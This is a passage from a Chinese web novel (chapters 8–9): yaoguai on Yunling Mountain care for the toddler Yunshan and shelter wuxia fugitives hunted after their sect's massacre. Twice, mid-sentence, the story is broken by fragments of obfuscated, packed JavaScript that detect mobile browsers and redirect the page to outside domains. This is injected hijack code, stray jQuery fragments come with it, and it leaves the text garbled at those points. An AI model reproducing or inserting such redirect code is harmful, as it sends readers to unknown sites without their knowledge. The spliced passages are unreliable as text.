按理说,不会啊。 花旗说,“是下午来的人。” 妖怪们都去了院子里,听着陆虞断断续续地说,“我们被追杀了。” 坨坨,“哈?” “好好的怎么被追杀了?” “陈川在山下,张槐在山上。”陆虞道,“快去救人。” 他一拍脑袋,立马说,“不对,张槐在另一座山上。” “说的什么?”坨坨说,“你慢慢讲呀。” 陆虞喘了两口气,定了下心说,“我们住在隔壁山头,现在有人追杀我们。张槐引人离开了,我和陈川、带着乌日善跑到云灵山。” “陈川身上有伤,落在后面走。我先跑上来叫人。” “我们先去找陈川。”小丛说。 “对。”陆虞说,“先去找陈川。” 西觉和兜明带着铁蛋、钢蛋下去找人。陆虞进了院子,奔着水井边,一连灌了两瓢水。他把瓢撂进水桶里,说,“我也去找人。” “他们马上就回来。”小丛说,“你不用去找。” “多一个人找就找得快些。”陆虞问坨坨,“你们山上夜里没野兽吧?” 坨坨肯定地说,“没有。” 陆虞奔出门去。 坨坨站在院子门口看着外面被月光照着的小道,对小丛说,“古代治安有点乱,怎么还有追杀人的?” “这四天,我们都遇到两回了。” “现代有摄像头,有电话。”小丛说,“古代没有这些,都是靠人力。” 他们俩站在门口等,很快就见西觉驮着一个人,还带了一个小孩回来。 坨坨问兜明,“是不是陈川啊?” “是。”兜明说。 坨坨跑去隔壁屋,把炕简单擦了一下,西觉把陈川放到炕上。 西觉摸了下腰间,摸到一手血。陈川腰上的伤撕裂,流了不少血,染到他的衣服上。陈川人已经昏过去了。 乌日善站在炕边,急得哭道,“叔叔,求求你,救救陈叔。求求你。” “你别哭呀。”坨坨说,“我们救他。” “我出去找药。” 陆虞他们上山的动静不小,又喊了门,山里不少动物都被惊醒。 坨坨在山里拔药的时候,小兔子就来问了,“坨坨大人,什么人来了。” “下午上山的那个。”坨坨说,“还带着一个人类小孩和受伤的人。” “你们帮我拔些止血的草药。” 山里的动物都会自己找草药吃,都知道什么样的草药止血。 “坨坨。”一声发着颤的声音从远处传来。 陆虞心惊胆战地走过来,“你和谁说话?” 他下山找人迷了路,准备返回时瞧着前面有个小孩的人影跑过来。他刚要出声时,就听小孩说了些话。声音听着是坨坨的声音。 可是,这儿除了坨坨,哪还有人啊?大晚上遇到这些,怪瘆人的。 小兔子们听到人声,都往草丛里跳,全跑走了。 坨坨喊,“陆虞,你怎么在这?” “我找人,迷路了。”陆虞问,“这山里还有其他人啊?” “没有啊。”坨坨说,“我自己说话呢。” 陆虞放下心来,“吓死我了。我还以为有不干净的东西。” “找到陈川了,还有个小孩。”坨坨说,“陈川身上流血,我来找止血的草药。” “你把这些草药拿上。” 陆虞捡起地上的草药问,“坨坨,张槐还在那边山上,你们能不能去救他?” 坨坨问,“你们为什么会被追杀?” 陆虞说,“是陈川、张槐和乌日善被追杀。我没被追杀。” “他们是江湖里的人。乌日善家里被灭了门,就剩他一个四岁小孩。听陈川说,江湖里有追杀令,要将他们三个全都杀了。” “我是路上遇到他们的,被一群人拿着刀追。我瞧乌日善可怜,一个四岁的小孩能有什么错?便帮了他们一把。” “陈川受伤,张槐带不动两个人。我就帮着他们进山,一起躲在旁边山里。” 坨坨带着陆虞回云灵观,把陆虞的话说给花旗、西觉听。 陆虞和乌日善在一旁求着花旗他们救张槐。 乌日善瞧着和云善一般大,个头也差不多,一脸无措地站在屋里,灰头土脸的有些可怜。 花旗看他就想到云善,心里就软了,“兜明和小丛去一趟旁边山里救人吧。” “真是太谢谢了。”陆虞道谢。 西觉把草药捣碎,敷在陈川伤口上,坨坨找了布来给陈川包上。 陆虞坐在炕上脱了鞋,一股子臭脚丫味熏得坨坨跑出屋子。花旗他们也都嫌弃地出了屋子。 坨坨站在门口用手在鼻子前扇风,“你脚也太臭了吧?几天没洗了?” “就今晚太累了没洗。”陆虞不好意思地说,“我现在去洗。” 他趿拉着鞋出来,坨坨抠了一点香皂头给他,“你用这个洗。” 陆虞打了水,拎到一旁墙边,都没好意思在水井边洗。他打了香皂,惊喜地和坨坨说,“你给我的是什么,香得很。” “香皂啊。”坨坨站在走廊下回。 陆虞洗了脚,趿拉着鞋子走回屋。 乌日善人站在炕边,脑袋抵着炕已经睡着了。陆虞把他抱上炕,让他睡在炕另一边。 他坐在炕边,抬起脚看了看,脚下磨出了几个泡。 “我说咋这么疼。”陆虞问坨坨,“有针吗?” “干吗?”坨坨问他。 “挑泡呀。”陆虞说。 坨坨回屋找了根针给他。陆虞把脚上的水泡都挑了。他白天就走了不少路,晚上又背着陈川下山跑路,今天走的路实在是多。 花旗和西觉回屋睡觉,铁蛋和钢蛋也跟着回屋了。坨坨站在屋里和陆虞说话。 兜明、小丛带着小麻雀和一帮小鸟到了隔壁山里。 有小鸟们帮着找人,兜明和小丛很快知道了张槐的位置。 “张槐。”兜明大着嗓门喊。 躲在草丛里的张槐捂着伤口,一动不动。 倒是山里有其他人听见动静,大声问,“张槐是不是在那边?” 小丛说,“你说不是。” 兜明立刻大着嗓门喊,“没在这边,你们去别的地方找。” 那边那人应了声,带人去了别的地方。 张槐心下疑惑,这人似乎是要帮他? 听着脚步声越来越近,张槐握紧剑,咬着牙。 “张槐?”小丛小声说,“陆虞让我们来找你。” 兜明顺着血腥味找到张槐。 张槐从草里站出来,“你们是云灵山上的人?” “是。”小丛说。 张槐,“他们都到云灵山了?” “嗯。”小丛应下。 听到陆虞他们到了云灵山,张槐松了口气,跟在小丛、兜明后面往云灵山去。 一路上,兜明和小丛带着他左拐右绕,还有许多小鸟叽叽喳喳的叫声。 张槐嘀咕道,“夜里鸟也叫得这么欢?现在才后半夜。” “我们为什么不走直线?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022488|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这样不会遇见人。”小丛回。小麻雀一直在给他们指路。 今天晚上的月亮亮,小鸟们飞在空中能大概能看到人。 他们这么一路下了山,没撞见任何人。张槐心里称奇,不愧是高手。看他们走路快得很,轻功十分了得。 他们安全回到云灵山,陆虞听到声音,从屋里快步走出来。看到张槐,他彻底放心了。“我就怕你出事。” “还好,咱们都命大。” 张槐坐在炕上,脱掉衣衫。 陆虞看见那衣服上全染了血,后背好几条刀口,胸前也被砍了一刀。 坨坨吓了一跳,“被砍成这样都没死?”难道真的有内力?他可是看过不少武侠片。 张槐说,“没伤到要害。这点伤,我暂时还死不了。” “有药吗?” 陆虞拿过西觉之前放在桌上捣药的杵子,抓了草药捣碎。 药敷在身上,张槐很快叫唤起来,“这什么药?烧肉疼。” “止血的药啊。”坨坨拿起一株药看了看,“没错啊。” “小丛,没错吧?” 小丛看了眼后点头,“就是止血的药。” “不应该烧肉。” 兜明拿起一株药闻了闻,“没问题。” “不行,不行。”张槐说,“烧得实在疼。陆虞,你把药弄下去。” 药弄下去,张槐身上还是烧得疼。 陆虞用毛巾给他擦了一遍,张槐说要好受一些。 “一样的药,陈川用着就没事。”坨坨说。 陆虞看看陈川,陈川还在睡着。陆虞解开他身上包药的布,用手把药拨开,“他身上也红了。” “啊?”坨坨跑过来看。把陈川身上的药都拨开。陈川腰上,沿着伤口红了一片。 “这药没问题啊。”坨坨纳闷地想。 “正常伤口不会肿成这样。”陆虞说。 坨坨怎么看,药都没问题,“你们是不是中毒了?” “陈川没中毒。”陆虞说,“张槐不好说。” 小丛拿了陈川的药闻了闻,里面有股子辛辣的味道。他拿了些药给兜明,“你闻闻。” 兜明鼻子动了动,“大蒜味?” 坨坨,“什么大蒜?哪来的大蒜?” “这是......蒜臼子。”小丛看向桌上用来捣蒜的工具。 陆虞、张槐、坨坨、兜明都看过去。桌上放的石头蒜臼子就是他们平时用来捣蒜的。兜明下午还用它捣蒜做拍黄瓜了。 “你是不是用完没洗?”坨坨问兜明。 “我洗了。”兜明回,“洗两遍。” 坨坨怀疑地看着他,兜明干活总毛毛躁躁的,一定没好好洗。 “你什么眼神。”兜明说,“我打你。” 坨坨,“哼!” “你打我我就告诉花旗你用蒜臼子不好好洗。” “我洗了。”兜明辩解道,“拿来的时候里面肯定没有蒜。你问西觉去,是西觉拿的。” 两只小妖怪拌起了嘴。 “可能用久了入味了。”陆虞哈哈笑道,“我再去洗洗。” “我去洗吧。”小丛抱着蒜臼子出去。 陆虞拿布把陈川腰上的药擦掉。 小丛用刷子把蒜臼子好好刷了刷,用拿布擦了好些遍,才把蒜臼子抱回来。 陆虞重新捣了药,先抹在张槐身上。张槐没喊疼,他们给张槐抹完药,再重新给陈川抹了药。 做完这些,瞧着天都开始发亮了。 陆虞倒头就睡,妖怪们也都回屋睡觉去了。 天大亮的时候,云善醒了。 他坐起来,看到坨坨睡在旁边。爬过去,搂着坨坨,亲亲热热地往坨坨身上贴,“坨坨。”“坨坨。” “干嘛?”坨坨闭着眼睛问,“你要尿尿?” “不啊。”云善说。 西觉还没给云善做好下炕的梯子。每天早上他们醒了,就把睡觉屋子的门敞开,云善要是醒了会自己喊人。 坨坨说,“叫西觉带你玩。我再睡会儿。” 云善爬起来,站在炕上喊西觉。 西觉正在院子里给他做梯子,听到云善喊人,进屋给云善穿衣服,把他抱下炕。 云善在院子里没看到钢蛋和铁蛋,又跑出去看了看,也没看到。他跑回来问西觉,“钢蛋、铁蛋呢?” “早上出去了。”西觉说。 “云善,走拳了。”兜明无精打采地喊,他也是天亮才睡。 “等等。”云善自己去墙根撒了泡尿。 走完拳,兜明精神了一会儿,吃完早饭和小丛一起去山里睡觉。 云善自己拿着毛笔在桌前练画符。坨坨还在呼呼大睡。 云善画完了符想找坨坨玩。见坨坨光着脚丫躺在炕上还在睡。他跑去桌边,拿着毛笔沾了些墨,再跑回来,在坨坨脚底画圆圈。 坨坨觉得痒痒,缩了缩脚。云善哈哈笑着把坨坨的五个脚指头挨个点成黑的。 铁蛋从外面跑进来,云善拿着毛笔,顺便给铁蛋圈了个两个大黑眼圈。 做完这些,云善把笔放桌上,抱了小皮球,领着铁蛋到院子里玩。 钢蛋也回来了,站在走廊下眯着眼睛打盹。 云善拍拍钢蛋,“玩球啊。” 钢蛋睁大眼睛,跳到院子里。 云善把小皮球放在地上,听到“嘎吱”一声响。他抬头看,见一个小孩手拉着门,站在那看他。 云善新奇地跑过去,看着小孩问,“谁呀?” 乌日善看了眼坐在走廊下做手工的西觉,又转头看云善。“我叫乌日善。” “你是谁?” 云善咧着小嘴笑,“云善呀。” 8. 和我一起踢球 云善主动说,“玩球啊?” “什么球?”乌日善问。 云善跑回院子里,抱起皮球,“来呀。” 乌日善走过去。云善把球放在地上,往乌日善的方向踢。铁蛋抢在前面,一爪子把球拍了回去。 乌日善吓得往后退。 云善跑过来,摸着铁蛋说,“不咬人。”别人都怕铁蛋、钢蛋,云善看得多了,已经能看懂别人眼里的惧怕。 云善又把皮球踢给乌日善。 乌日善试着把皮球踢回去。 云善跑去追球,再把绿色小皮球踢给乌日善。 两人玩了一会儿,云善又叫铁蛋、钢蛋一起。 和铁蛋、钢蛋玩了一会儿后,乌日善就不怕铁蛋和钢蛋了。这两只野兽个头大,但是很听云善的话,也不会伤人。 玩了一会儿后,乌日善的肚子叫了起来。云善把头贴着乌日善的肚子上,听着里面咕咕地叫,他指着乌日善的肚子问,“什么呐?” 乌日善抿起嘴小声说,“我饿了。” “你们不吃早饭吗?” “吃过了呀。”云善说。 乌日善不说话了,肚子还在咕咕叫。 云善问他,“你饿啊?” 乌日善点头。 云善跑进厨房,拉开柜门。里面还有早上剩下的馒头。他抓了一个馒头出来拿给乌日善,“吃呀。” 西觉停下手里的活,洗了手,把乌日善带进厨房。往锅里下了些米,捞了一些小咸菜。把早上留给他们的鸟蛋拿出来给乌日善。 乌日善自己爬到凳子上,拿了筷子,大口大口地吃。 云善看了,蹭过来,也爬上凳子。他跪在凳子上,拿了个馒头陪着啃。 西觉烧好粥的时候,乌日善已经吃完了早饭。 西觉把粥盛出来,放到乌日善面前。乌日善乖乖地坐在桌边,等着粥凉。 云善本来就不饿,馒头只啃了一点就放在桌上。西觉知道他不吃,没给他盛粥。云善还问呢,“我呢?” “你吃吗?”西觉问他。 云善点头。 西觉见他点头,就也给他盛了一小碗粥。 “云善。”坨坨喊着跑进厨房。 “诶。”云善应道。 “你怎么把我脚画黑了?”坨坨翘起脚给云善看。他的五个脚指头前面都是黑的。 云善哈哈大笑,乌日善眯起眼睛也跟着笑。 “你别画我身上,不好洗。”坨坨嘟囔道。他一转头看到铁蛋脸上挂着大黑圈走进厨房,心里庆幸着还好西觉的梯子没做好。 要是梯子做好了,估计今天他就不是脚上被画画,而是脸上被画。按照云善画画的风格来看,他少不了眼睛上也得挂大黑圈。 坨坨在院子里洗脚,云善蹲在旁边看。看到坨坨有地方没洗到,他指着喊,“这,这。” 乌日善一直坐在厨房里,等粥凉了,把一碗粥都喝完。 坨坨洗干净脚,来厨房吃饭。 云善只喝了一口粥,根本喝不下去。剩下的被坨坨喝了。 “云善,咱们云灵观来了几个人。”坨坨说,“还有三个在隔壁屋睡觉。” “有一个是昨天下午来过的,叫陆虞。” 这个人云善还记得。 正说着,听到外面陆虞的说话声,“西觉,起了啊。” “陆叔。”乌日善跑出厨房,到陆虞身边站着。 “你醒了啊。我就说怎么没在炕上看见你。”陆虞走进厨房,看到坨坨在吃饭,笑道,“吃饭呢?” “有我的饭吗?” “你看锅里还有吗。”坨坨说。 陆虞揭开锅,看到里面还有不少粥。他找了碗,盛了满满一碗。坐在桌边,先喝了一口粥,拿起馒头咬了一口,眼睛立马亮起来,“这馒头好吃。” “你们手艺真好。” 花旗从外面找了些草药回来。都是山里动物们受伤时会采的药。 花旗给了云善两个野果子,也给了乌日善两个野果子。 云善举着野果子说,“花花吃。” “我吃过了,云善吃吧。”花旗把药放在一旁。 云善自己吃了一个果子,把另一个果子给了坨坨。乌日善两个果子都没吃,一直攥在手里。 陆虞问花旗,“要不要挖些陷阱?” “挖陷阱干什么?”坨坨问。 “别人追杀来,还能挡些时间。”陆虞说。 “不用。”花旗道,“不用担心。” 坨坨说,“我们不怕他们。” 坨坨吃完了饭,跟着陆虞回屋,见炕上的两人还没动静,“他们俩还没醒呢。” “没醒。”陆虞把药捣碎了,给陈川、张槐重新换了药。 乌日善把两个果子放在炕上。 外面有咩咩咩的羊叫声。 云善跑出门看,院子里站着一头大羊、一头小羊。西觉拍了铁蛋一下,“别扑羊。” 云善记不得羊是什么样,指着羊问西觉,“什么呐?” “羊。”西觉说,“春意来看你了。” 春意走过来,脑袋蹭了蹭云善。云善摸摸她的脑袋,“羊啊?” 不过云善显然对春意带来的小羊羔更感兴趣。他想捉小羊。 小羊很灵活,蹦跶到了一旁,欢快地,“咩咩咩~” 云善张开手,追在小羊屁股后面,在院子里乱跑。 铁蛋被西觉按在地上,西觉不让它扑小羊。 陆虞听到动静,笑呵呵地出来问,“今天吃羊吗?” “咩~咩~咩~”春意愤怒地冲着陆虞叫喊,小羊跑到春意身边。 “这羊听得懂人话似的。”陆虞说,“说吃它,它还叫呢。” 坨坨,“你别说。这是山里的羊,不能吃。” “山里的羊为什么不能吃?”陆虞还是头一回听到这种说法。 坨坨说,“就是不能吃。云灵山里有规矩的。” 陆虞赶紧点头,“我知道了。” 小羊躲在春意身边,云善也跑了过来。春意拱着小羊推到云善身边,云善搂着小羊,高高兴兴地摸它,“不跑。” 小羊是春意特意带来和云善一起玩的,是羊群里最调皮的一只小羊。 小羊脑袋往上用力一顶,云善下巴受到冲击,下牙和上牙磕到一起。他愣了一下,松开小羊,嘴巴一瘪,蹲在那哭出声。 西觉又叮嘱铁蛋,“别扑小羊。”这才把它放开。 西觉抱走云善,云善趴在他怀里还哭。 “哪里磕着了?”西觉问云善。 云善张着嘴巴给西觉看。西觉仔细看了看,没看出有什么问题。摸云善的下巴,云善哭声也没更大。 只是他一直张着嘴哭,口水顺着嘴角往下掉。云善吸溜了下口水,小手在脸上胡乱擦一把,继续张着嘴哭。 大概哭了两分钟,云善自己慢慢停下来。小手擦掉眼泪,从西觉腿上蹭下去,还跑去找小羊玩。 春意安静地趴在走廊下阴凉处看着云善。 钢蛋和铁蛋都跟着小羊,小羊去哪,它俩就去哪。和云善一起,三个把小羊围起来。小羊怎么也跑不出去。急得“咩,咩,咩”地叫声就像小孩哭似的。 春意看着也没管。 花旗觉得小羊叫得吵,对云善说,“云善,小羊吃草。你去拔些草来喂小羊。” “草?”云善转身看向花旗。 “羊都吃草。”花旗说,“你去外面薅点草喂小羊。” 云善听了这话,带着铁蛋和钢蛋跑了出去。小羊趁机跑到春意身边,春意安抚地碰了碰它的脑袋。 陆虞见乌日善只站在门口,笑着说,“小善,和云善去玩呀。” 乌日善摇摇头,回到屋子里,拖了条凳子,在炕边坐好。 陆虞跟进来说,“你不用担心他俩。该醒的时候就醒了。” “你看着也没用。” 乌日善看了看炕上的陈川和张槐说,“我去练剑。” 乌日善在山上练剑都用树枝。云灵观里没树枝,他自己跑出云灵观去找。 云善正在拔草,看到乌日善往前跑,他抓着草问,“去哪呐?” “我找树枝。”乌日善头也不回地说。 云善追过来,拉着乌日善的手说,“带你。” “带我什么?”乌日善问。 “树枝。”云善说。 “你几岁了?”乌日善问他。 “三岁。”这个云善知道。 乌日善,“三岁你怎么说不清话?” “我小。”云善说。他说话一直慢,有时候能蹦出一整句话,有时候就得人猜。坨坨总说是因为云善小,这就让他记住了。 “好吧。”乌日善觉得云善确实小,他都快五岁了,云善才3岁。 云善打算把乌日善带去小树林捡树枝。乌日善路上瞧见一根树枝,捡起来挥了挥,觉得还不错。他拿了树枝,拉着云善回去。 回到云灵观门口,云善继续拔草。见乌日善要进云灵观,云善喊,“来呀。” “干吗?”乌日善问。 “薅草。”云善说。 “我要去练剑。”乌日善说,“你自己喂小羊。” 听乌日善这么说,云善不说话继续薅草。他今天练过剑了,不用再练剑。 乌日善回到云灵观里,在院子里挥着小树枝练剑。 陆虞站在走廊下问花旗,“有啥活我能干?” 花旗干脆道,“没有。” 陆虞不好意思地挠挠头,“在这白吃白喝的多不好意思。”他也没钱给人家,钱还是花旗他们给他的,还又指望人家救命。 坨坨拎着篮子问,“陆虞,你要和我一起去菜地薅菜吗?” 陆虞赶紧说,“好啊。”他走过去,拿走坨坨手里的篮子自己拎上。 云善从外面抱了些草进来,见坨坨拎着篮子往外走,他问,“薅菜啊?” “嗯。”坨坨问他,“你去不去?” 云善摇头,“小羊吃草。”他说他要给羊喂草。 坨坨和陆虞两人出了云灵观。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14022489|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云善抱着草来找小羊。小羊原本卧在春意旁边,见云善过来,立马站起来跳开。 云善拽着一根草喊,“小羊~小羊~” 小羊站在厨房门口看着云善。花旗踢了下小羊屁股,“吃草去。” 春意也咩咩叫了两声。 小羊走过去,低下头咬起地上的草,在嘴里慢慢嚼着。 云善高高兴兴地说,“吃啦。”他拿着根草蹲在一旁,把草往小羊嘴里戳。戳得小羊仰着脸往后躲。 乌日善停下手里的动作看向吃草的小羊。小羊吃草真可爱。 小羊吃了几口草,屁股后面落了些东西。 云善瞧见了,转到小羊后面,看到小羊打开的□□子里一直往下掉东西。他好奇地伸手,还没碰到地上的羊屎蛋,被花旗拽着衣领提了起来。 云善转着脑袋看向花旗,大眼睛里满是疑惑。 花旗把他提溜到一边放下,“你知道那是什么?” 云善摇摇头。 “那是小羊拉的屎。”花旗道。 乌日善噗嗤一声笑出声。云善刚刚要捡羊屎呢。 云善皱着小眉毛看小羊边吃边往外拉黑色的小屎蛋。 “脏啊。” 花旗好笑道,“你刚刚还要捡呢。” 云善立马把双手背在身后,“不捡。” 等小羊吃完地上的草,云善走过去,追着小羊在云灵观里跑,还指挥铁蛋和钢蛋堵小羊。三个一起合力把小羊赶出了云灵观。 云善带着钢蛋和铁蛋堵在云灵观门口,不让小羊进去。 小羊站在云灵观门口冲着里面的春意咩咩叫。 春意站起来,走到门口蹭蹭云善,带着小羊离开了。 云善看着小羊走了,去墙边拖了自己的竹扫把过来。 花旗坐在走廊下问云善,“你嫌弃小羊?” “嗯。”云善诚实地回。他拉屎,妖怪们都领他到院子外面去。云善心里知道在院子里拉屎不好。 他拖着扫把把羊屎蛋往旁边拨。 花旗看他不会扫,拿过他的小扫把教他,一起把羊屎蛋扫出了云灵观。 花旗猜着兜明找地方睡觉去了,他带着云善去山里捕猎。 看到一片小野花,云善要从花旗身上下来。花旗感受到了这儿有黑熊的味道,他喊一声,“黑熊。” 一个大块头从不远处地上坐了起来,黑熊精四处看了看。看到花旗和云善,他立马跑过去,“花旗大人。” “你看会儿云善。”花旗说,“我去抓猎物。” 大黑熊保证道,“我一定看好小掌门。” 云善在采花,大黑熊坐在旁边看着他。 铁蛋站在花丛里盯着花上的蜜蜂瞧,钢蛋蹲在一旁的草丛边吃草。 花丛里来了一只白色蝴蝶,上下翩飞着落在一朵玫红色的花上。 云善要摘的大红花里有蜜蜂,他瞧见了,晃了晃花。见蜜蜂不飞走,他伸着小手去抓蜜蜂。 “嗷——” 黑熊精立刻站起来,跑到云善跟前问,“云善掌门,你怎么了?” 云善举着小手,说不出来什么,瘪着嘴巴大哭。手里的花也不要了,都丢在地上。 “怎么了?怎么了?”黑熊精急着问。 云善把小手举着给黑熊精看,黑熊精不明白他为什么哭,一个劲问怎么了,云善掌门你怎么了? 钢蛋和铁蛋都围了过来。 黑熊精被云善哭得麻爪,他抱起云善,“我带你找重山大人。” 黑熊精抱着云善一路跑到云灵山山顶。小妖怪们正聚在山顶玩闹。 云善已经不哭了,挂着眼泪坐在黑熊精怀里,一直看他自己的手。 “怎么了?”小鹿走过来问。 “我不知道。”黑熊精说,“小掌门采着花就哭了。” “问他他也不说。” 重山拄着雕花木杖过来,问云善,“云善掌门,你哭什么?” 云善举着已经肿起来的手指头给重山看,“疼。” “咋肿成这样?”大黑熊才看见,“云善掌门,你手怎么肿了?” 重山捏着云善的小手看了看,“是不是被蜜蜂蛰了?” 云善点点头。 “毒针没在里面。”重山说。 小兔子跳走了,很快叼着一块芦荟跳了回来。 猴子精把芦荟扒开,用里面透明的芦荟肉蹭了蹭云善手指头肿起来的地方。 “小掌门,看到蜜蜂要躲开。”小松鼠说,“它们会蜇人。” 黑熊精说,“对,看到这些东西得躲开。” 云善瘪着嘴巴点点头。 重山摘了个桃子哄云善。云善抱着大桃子,右手大拇指稍微往外翘着。他肿的就是右手大拇指。 小兔子问云善,“小掌门,云灵观里的是什么人?” “陆虞,乌日善。”云善说。 问别的,云善也说不清楚。小妖怪们就没问了。 他啃完了桃,又和小妖怪们玩了一会儿。坨坨就来找他了。 9. 江湖恩怨 坨坨没注意到云善手指头肿了,还是小妖怪们说了,坨坨才知道云善被蜜蜂蛰了。 “哎呀。”坨坨说,“云善你看到有蜜蜂的花就别采。” “不然蜜蜂就会蜇人。” 云善乖乖地嗯了一声。 坨坨牵着他的左手领着他下了山顶,“回去吃饭了。” 云灵观里,陈川和张槐都醒了。两人赤着上身坐在走廊下。乌日善坐在他俩旁边。 兜明和小丛也回来了。 陆虞坐在西觉旁边,一边扒蒜,一边看着西觉剥兔皮。 他说,“以前我家在家里就没吃过兔子。还是这些天住在山里,张槐抓了兔子,我才尝过味。” 陆虞说,“不过前几天吃的烤兔子都没放盐,不怎么好吃。” “咱们今天中午怎么吃兔子?” “红烧。”小丛回他。 “红烧好,有滋味。”陆虞高兴道。 坨坨牵着云善回来,陆虞和云善打招呼,“云善去哪里玩了?” “自己一个人在山里玩不害怕?” 花旗出门时带着云善,回来时只带了几只兔子,没带云善,这可把陆虞吓了一跳。就算云善身边有铁蛋、钢蛋跟着,也不能把那么小的孩子丢在山里。陆虞担心山里有狼,会把云善叼走。 云善摇摇头,走到西觉身边,趴在西觉背上,“西西。” 西觉放慢了手里的活,“嗯。” “肿了。”云善把手指头伸到西觉面前给他看。 西觉瞧着他拇指上面肿了一大块,心疼地问,“怎么肿的?” “蜜蜂。”云善说。 坨坨补充道,“他应该是采了有蜜蜂的花,被蜜蜂蛰的。” 兜明走过来说,“我看看。” 云善把肿了的手指头举起来给兜明看。兜明捏着他的小手说,“这是马蜂蛰的吧?肿这么大。” 云善手小,肿起的包看着比他拇指第一指节还大。 小丛说,“抹些肥皂水。” 小丛带云善去抹肥皂水,花旗也过来看。他抓着云善的小手反复看了好久,“山里还有这么毒的蜜蜂?” “蛰得也太狠了。” 云善不认识陈川和张槐,站在花旗旁边问,“谁呀?” “陈川和张槐。”兜明给他介绍。 云善哦了一声,走到乌日善身边拍拍他,“玩啊?” “玩什么?”乌日善问。 云善拉着乌日善去屋里。他拉开柜子,从里面拿出一个不倒翁给乌日善。 乌日善看着怀里胖胖的财神爷。“给我这个干什么?”财神爷穿着一身红衣服,手里举着个金元宝。 云善拿过不倒翁,把不倒瓮放在地上,他使劲推了一把。财神爷不倒瓮晃了晃,立在地上。 云善又推了一把,不倒翁来回晃着,慢慢停下来。 “什么?”乌日善没看懂。 “不倒啊。”云善说。 乌日善试着推了几下,还真的不倒。 云善忙着从柜子里把自己的玩具一样样拿出来摆在炕边。 云善的那些玩具乌日善大都没见过。他好奇地跟着云善,看云善怎么玩。两人沿着炕,一个一个地玩过去。 铁蛋叼起他们丢在地上的不倒翁,也放到炕上。 “云善,吃饭了。”兜明大喊声传过来。 云善带着乌日善跑出睡觉屋子,跑进厨房里。 云善爬上凳子坐好,小手抓着勺子,刚捏了一下,就把勺子放下了,翘着肿起的手指头给坨坨看,“疼。” “云善过来。”西觉说,“我给你喂饭。” 云善蹭下凳子,跑到西觉身边。西觉抱他坐在腿上,花旗伸手把云善的小碗拿到西觉面前。 陈川夹了些肉放到乌日善的碗里。之前几天他们藏在山上,平时除了打兔子烤兔子吃,就是煮粥。虽然有肉吃,但是滋味真的不怎么样。 张槐吃了一口肉赞道,“手艺真好。” 乌日善用勺子大口刨着米饭和肉,吃得很香。陆虞更是埋头苦吃,“这菜比梁家的菜好吃多了。” “你说的是东望村的梁家?”坨坨问。 陆虞道,“对啊。他家有人中举,做了流水席。我第一天就去吃饭了。正问梁家讨钱时刚好遇见土匪闯进院子里。” 坨坨说,“是你啊。你讨钱的时候我们听见了。” 花旗问张槐,“那些人说是要杀一个小孩?就是乌日善?” 张槐点头。 “他们为什么要追杀你们?”坨坨问。 张槐转头和陈川对视一眼,见陈川点了头,他道,“武林盟主三年一换。今年五月份正是换人的时候。” “我青川派掌门乌参迹蝉联三届武林盟主,江湖人士心服口服。” “今年初,江湖不知从何处起了谣言,说我们乌掌门练邪功,残害江湖人士。许多人跑来青川派诘问。” “掌门派我与陈川查实谣言从哪里传出。我二人查了月余,四月初的时候终于查到谣言是从岳苍派一名弟子那传出来的。” “可那弟子已中毒暴毙,线索全都断了。我和陈川便准备回青川派。” “却在返回途中听得噩耗我青川派一夜之间遭人灭派。只有乌掌门和小少主活了下来。江湖上都说是乌掌门练邪功时走火入魔,大开杀戒,屠戮门内二百一十三人。” “乌掌门与小少主被人扣押。我与陈川去救他二人。乌掌门显然神志不清,嘴唇发紫,有中毒症状。我们只来得救出小少主,便仓惶而逃。” “五月份,新任盟主林为钦上任,第一件事就是当着众人面处决乌掌门。” “后来,林为钦说我与陈川也跟着乌掌门练了邪功,少主更是从小食人,是个小魔头。他发了江湖追杀令,追杀我三人。” “所有事情都是陷害。我与陈川二人跟随乌掌门多年。乌掌门所习功法乃是青川派代代相传的功法,根本没有邪功。” “青川派当日灭门,没人能作证是乌掌门屠戮同门。少主学的也是青川派功法,从未食人。一切都是有人栽赃陷害。” 乌日善的小脸上露出愤恨,“都是栽赃陷害。” “当日明明是有人闯入。小圆帮我藏好后就被杀了。” “我看见了,不是阿爹杀的。”乌日善喊道,“是蒙面人杀的。” 云善正嚼着饭,听到乌日善喊,他好奇地盯着乌日善看。 西觉夹了一块兔肉,在水里洗了一下,放到云善嘴边。云善叼走了肉,继续盯着乌日善看。 “是那个新盟主干的吧?”坨坨说。听起来那个新盟主就是坏蛋。 “没有证据。”陈川摇头,“能查到的线索都断了。” 人类的恩怨很复杂。 “陆虞你什么时候回中州?”坨坨问,“你不是要带粮食回去救人吗?” “本来我们打算今天就动身。”陆虞说,“谁知道昨天晚上会被人追杀。” “许是这几天我来回上下山暴露了,让人盯上了。” “张槐和陈川都伤着,要是再遇到追杀,恐怕难以脱逃。”陆虞问花旗,“恩公,你看,能不能暂时收留他们?” 陆虞说的是收留他们,不是收留我们。显然他还有自己的打算。两个伤员带着乌日善逃跑很危险,不如在云灵山养好伤再走。 “我明日就下山回中州。买粮回去的事也不能再拖了。” 陈川和张槐知道陆虞为他俩好。他们俩带着伤,真要遇到来追杀的人,根本活不下来。最好就是先养好伤。 养伤最多需要三个月时间。时间不算长,妖怪们能容忍张槐和陈川在山上养伤。 “可以住在山上。”花旗说,“伤养好了就得走。”若是人类在山上呆得时间久,山里的妖怪们都不方便。 